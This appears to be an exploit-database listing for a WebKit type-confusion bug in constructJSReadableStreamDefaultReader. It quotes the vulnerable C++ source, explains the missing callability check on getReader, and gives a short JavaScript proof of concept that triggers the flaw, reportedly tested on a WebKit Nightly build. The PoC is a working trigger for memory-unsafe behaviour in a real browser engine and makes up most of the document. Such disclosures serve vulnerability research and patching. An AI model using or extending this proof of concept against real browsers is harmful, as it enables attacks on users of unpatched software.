Exploit for WebKit: Type confusion in constructJSReadableStreamDefaultReader

## https://sploitus.com/exploit?id=SSV:92878
```
EncodedJSValue JSC_HOST_CALL constructJSReadableStreamDefaultReader(ExecState& exec)
{
    VM& vm = exec.vm();
    auto scope = DECLARE_THROW_SCOPE(vm);

    JSReadableStream* stream = jsDynamicDowncast<JSReadableStream*>(exec.argument(0));
    if (!stream)
        return throwArgumentTypeError(exec, scope, 0, "stream", "ReadableStreamReader", nullptr, "ReadableStream");

    JSValue jsFunction = stream->get(&exec, Identifier::fromString(&exec, "getReader")); <<--- 1

    CallData callData;
    CallType callType = getCallData(jsFunction, callData);
    MarkedArgumentBuffer noArguments;
    return JSValue::encode(call(&exec, jsFunction, callType, callData, stream, noArguments));
}
```

It doesn't check whether |getReader| is callable or not.

PoC:

```
let rs = new ReadableStream();
let cons = rs.getReader().constructor;

rs.getReader = 0x12345;
new cons(rs);
```

Tested on Webkit Nightly 10.0.2(12602.3.12.0.1, r210800)